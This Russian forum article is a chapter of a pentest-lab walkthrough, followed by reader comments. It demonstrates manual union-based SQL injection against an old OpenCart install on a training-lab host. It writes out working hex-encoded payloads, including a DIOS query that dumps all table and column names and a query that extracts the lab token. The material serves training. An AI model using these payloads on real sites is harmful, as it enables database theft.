• Открыта запись на вторую часть курса по анонимности и безопасности в сети интернет "Paranoid II" от команды codeby. Анонимные роутеры, Подъём, настройка и администрирование Tor-ноды, Работа с железом ПК, Удаление аппаратных закладок, Минимизация рисков, Авторские разработки и многое другое. Подробнее ...

Статья Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)

<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Глава 7
Предыдущая глава
Следующая глава
Оглавление



Приведствую Вас колеги) Продолжим пожалуй с вами путешествие по на нашей лаборатории в роли пентестера и возьмем пожалуй очередной токен на dev store(172.16.0.5)) В этой статье в отличии от прошлой ,
где я советовал не замарачиваться и пойти более легким путем, я бы наоборот хотел показать олдскульную технику експлуатации SQL injection. Так как токен берется с помощью утилиты sqlmap очень быстро, и этот пост можно было закончить одним скрином и одной командой для скульмапа,я продемонстрирую работу руками и технику SQLi DIOS,которую я когда то одолжил у одной пакистанской хактим в одном закрытом форуме)
Немного отходя от темы хочу сказать что я был первый человек который принес эту технику эксплуатаци для русского брата,в конце статьи я выложу ссылки на свои статьи на других ресурсах и на один из первоисточников информации.

И так почему я сказал что на dev store мы токен заберем от store - это потому что на store стоит новая версия CMS OpenCart и она не уязвимая к sql injection что нельзя сказать про версию OpenCart которая находится на машине 172.16.0.5
Ну что ж... Как обычно сперва пробросим порт как мы уже умеем благодаря прошлым статьям

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Внесем изменение в файл /etc/hosts

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Жмакним по какому то продукту:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


По старой доброй привычки тыкнем кавычку в передаваемый GET запросом параметр product_id=50'

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Видим старый знакомый код ошибки синтаксиса MySQL ))) (PS: Одна из моих самых любимых ошибок :))

Давайте сразу же найдем к-тво столбцов в запросе:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Определяем что столбцов у нас 3

Теперь самое интересное:
Давайте попытаться сделать вывод в иньекции:
union select 111,222,333 -- -
Увы диманика контента пока осталась не заметна
давайте попробуем добавить какое то слово что бы можно было искать в контенте легко по нему:
product_id=50 union select codeby111,codeby222,codeby333 -- -

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Хм...Видим ошибку.. Ну впринципе логично же , что таких столбцов нету,а для того что на вывод мы получали плейн текст то можем использовать хекс кодировку:
product_id=50 union select 0x636f64656279313131,0x636f64656279323232,0x636f64656279333333 -- -
Поищем в исходном коде по слову codeby , и видем что у нас уязвим 3-й столбец:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Но есть маленькая проблемка, наш вывод не виден на главной странице. Это потому что он находится между тегами <div><ul><li><a href>, а посему здесь логика проста - нужно просто закрыть эти теги перед нашим выводом,выглядит это примерно так :

product_id=50 union select null,null,concat(
</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker) -- -

Ну мы конежно помним что в таком виде сервер запрос не приймет - его нужно перевести в хекс кодировку:

product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572) -- -

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Видим что появился вывод на странице) Для удобства обрежем лишний html код коментарием в конце запроса (<!--)

product_id=50 union select null,null,concat(
</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker
,<!--) -- -
Только опять же таки все в хекс кодировке должно быть:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Теперь я покажу вам пример DIOS (Dump In One Shot) - все даные за один запрос:
Я увы не буду обьяснять суть техники в этой статьи,кому будет интересно как она работает - я оставлю в конце статьи ссылки на свои статьи на других ресурсах где описанно как это работает.

И так запрос следующего вида вернет нам все таблицы и столбцы в базе:

concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where@:=concat_ws(0x20,@,0x3c6c693e,table_name,column_name)),@)

Просто вставим этот кусочек в наш запрос:

product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where@:=concat_ws(0x20,@,0x3c6c693e,table_name,column_name)),@)
,0x3c212d2d) -- -



Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Как видим нам вывелись полностью все таблицы и даже из Information_schema.tables,
по этому я немного изменил запрос что бы выдодились только таблицы и столбцы из нашей действующей базы данных, имя базы данных будет красным цветом,имя таблицы зеленым,а имя столбца будет синим цветом:

Добавим этот кусочек запроса вместо предвидущего:

concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=concat_ws(0x20,@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@)

product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,concat_ws(0x20,@:=0x0a,(select(1)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and@:=concat_ws(0x20,@,0x3c6c693e,0x3c666f6e7420636f6c6f723d22726564223e5b,table_schema,0x5d,0x3c666f6e7420636f6c6f723d27677265656e273e5b,table_name,0x5d,0x3c666f6e7420636f6c6f723d27626c7565273e5b,column_name,0x5d)),@)
,0x3c212d2d) -- -


Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Листаем вниз,или пользуемся поиском по слову "token" и находим там таблицу token и столбец token:

Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Ну дальше просто достаем токен запросом:

product_id=50 union select null,null,concat(
0x3c2f613e3c2f6c693e3c2f756c3e3c2f6469763e3c6469763e3c666f6e7420636f6c6f723d27677265656e272073697a653d353e5370656369616c20466f7220436f64654279204279204461726b4e6f6465204861636b6572,0x3c62723e,token
,0x3c212d2d) from token -- -


Лаборатория тестирования на проникновение «Test lab v.10» — за гранью хакерских возможностей (7)


Моя статья про SQLi DIOS на
на
Статья арабского хакера

Помни!) Если понравилась статья - жмакни лайк )
Вот видосик к статье:

Предыдущая глава
Следующая глава
Оглавление
 
SooLFaa

SooLFaa

Администратор
15.07.2016
814
1 318
Статья хорошая, одно не пойму, что принципиально другого у пакистанских хакеров в нагрузке?
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Статья хорошая, одно не пойму, что принципиально другого у пакистанских хакеров в нагрузке?
Я всего лишь продемонстрировал технику DIOS. Она имеет ряд прииумуществ при ручной работе,порой лично мне гораздо быстрее ввести заготовленный шаблон для дампа всех столбцов и таблиц в один запрос чем ждать пока переберутся все пейлоады и векторы в скульмапе и потом пока найдешь нужные таблицы. Второй момент - это непосредственно работа с вафом.Когда щупается логика поведения веб приложения.
 
Последнее редактирование:
SooLFaa

SooLFaa

Администратор
15.07.2016
814
1 318
Я всего лишь продемонстрировал технику DIOS. Она имеет ряд прииумуществ при ручной работе,порой лично мне гораздо быстрее ввести заготовленный шаблон для дампа всех столбцов и таблиц в один запрос чем ждать пока переберутся все пейлоады и векторы в скульмапе и потом пока найдешь нужные таблицы. Второй момент - это непосредственно работа с вафом.Когда щупается логика поведения веб приложения.
Я то всё это знаю. Вопрос был, а что тебе подсказали пакистанские хакеры, так то, я ничего особо приватного не увидел?
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Я то всё это знаю. Вопрос был, а что тебе подсказали пакистанские хакеры, так то, я ничего особо приватного не увидел?
Технику DIOS запросов,да и так некоторые плюшки при работе со скулями,хакбар у них взял,который потом слил на а-чате.
 
  • Нравится
Реакции: x5ctf
D

Dmitry88

Помучался, но всё же сделал. Спасибо за подробный разбор.
А как удобней конвертировать в HEX ?
А то я простецким методом работал: писал plain text в файл.txt , а потом в консоли конвертировал командой "cat file.txt | xxd -c 256 -ps" , что не очень удобно. Ну и хотелось бы посмотреть оригиналы запросов до конвертации в hex, как в примере с "(</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker,<!--)"
 
  • Нравится
Реакции: <~DarkNode~>
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Помучался, но всё же сделал. Спасибо за подробный разбор.
А как удобней конвертировать в HEX ?
А то я простецким методом работал: писал plain text в файл.txt , а потом в консоли конвертировал командой "cat file.txt | xxd -c 256 -ps" , что не очень удобно. Ну и хотелось бы посмотреть оригиналы запросов до конвертации в hex, как в примере с "(</a></li></ul></div><div><font color='green' size=5>Special For CodeBy By DarkNode Hacker,<!--)"
Ну есть удобный декодер|енкодер в Burp Suite , А так я пользуюсь хак-баром.
 
  • Нравится
Реакции: Dmitry88
D

Dmitry88

Ну есть удобный декодер|енкодер в Burp Suite , А так я пользуюсь хак-баром.
К сожалению бурп у меня фришный. А вот за подсказку с хакбаром спасибо. Удобная вещь. Столько промучался,а оказалось там в менюшке encoding-hexencoding-string было. Век живи- век учись.
 
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
Никто ее там и не сносил... Это бекап новой версии OpenCart CMS которая не уязвимая к SQLi. Это не БД сайта)Это было сделано для того , что бы запутать учасников... А уязвимая версия ,старее которая чем на store.gds.lab , находится на dev store(172.16.0.5).
По этому ваша версия про альтернативный вариант слишком легкая и не подходит)
 
  • Нравится
Реакции: Dmitry88
cutoff

cutoff

Member
09.01.2017
11
7
Никто ее там и не сносил... Это бекап новой версии OpenCart CMS которая не уязвимая к SQLi. Это не БД сайта)Это было сделано для того , что бы запутать учасников... А уязвимая версия ,старее которая чем на store.gds.lab , находится на dev store(172.16.0.5).
По этому ваша версия про альтернативный вариант слишком легкая и не подходит)
да, я уже пропалил :) но в ней кстати нет sqli и версия 2.3.0.2, что немного нелогично, я подумал они оставили её чтобы можно было покопаться и найти дырку в дев версии, потому что в чистом opencart нет такой sqli
 
  • Нравится
Реакции: Dmitry88
SooLFaa

SooLFaa

Администратор
15.07.2016
814
1 318
Автор закрашивай токенчики. Лишаешь молодёж радости пройти самому.
 
  • Нравится
Реакции: <~DarkNode~> и Dmitry88
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
да, я уже пропалил :) но в ней кстати нет sqli и версия 2.3.0.2, что немного нелогично, я подумал они оставили её чтобы можно было покопаться и найти дырку в дев версии, потому что в чистом opencart нет такой sqli
Посмотри тут
 
S

Syndicat

А как будет выглядеть команда для sqlmap в данном примере?
 
F

fdgdfgrgfgdf

Member
31.03.2017
24
4
ssh> -L 80:172.16.0.5:80
bind: Permission denied
channel_setup_fwd_listener_tcpip: cannot listen to port: 80
Port forwarding failed.

Запустил сессию не под рутом
 
Последнее редактирование:
<~DarkNode~>

<~DarkNode~>

~^M1st3r_Bert0ni^~
Red Team
19.10.2016
723
2 990
ssh> -L 80:172.16.0.5:80
bind: Permission denied
channel_setup_fwd_listener_tcpip: cannot listen to port: 80
Port forwarding failed.

Запустил сессию не под рутом
По умолчанию для того что бы занять порт в диапазоне 1-1023 нужны повышеные привилегии
В большинстве прослушивание портов с номерами 0—1023 требует особых привилегий ( ). Другие номера портов выдаются операционной системой первым запросившим их процессам.
 
Мы в соцсетях:  ТелеграмВконтактеДзенФейсбукТвиттерЮтуб